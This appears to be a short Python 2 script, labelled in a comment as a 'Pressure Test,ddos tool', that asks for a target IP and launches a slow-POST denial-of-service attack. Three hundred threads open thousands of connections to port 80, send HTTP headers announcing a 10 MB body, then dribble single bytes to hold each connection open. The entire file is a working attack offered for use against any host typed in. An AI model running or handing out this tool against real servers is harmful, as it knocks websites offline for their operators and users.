# -*- coding: utf-8 -*-
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=raw_input("ip:")
PAGE=""
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
lock=threading.Lock()
def conn_thread():
    global socks
    lock.acquire()
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            print  "send error:%s"%ex
            time.sleep(0.05)
    lock.release()
    
#end def
 
def send_thread():
    global socks
    lock.acquire()
    while True:
        for s in socks:
            try:
                s.settimeout(0.8)
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                print  "Send Exception:%s\n"%ex 
                socks.remove(s)
                s.close()
        time.sleep(0.05)
    lock.release()
#end def
ass=[]
for i in range(300):
    conn_th=threading.Thread(target=conn_thread,args=())
    ass.append(conn_th)
    send_th=threading.Thread(target=send_thread,args=())
    ass.append(send_th)
for i in ass:
    i.start()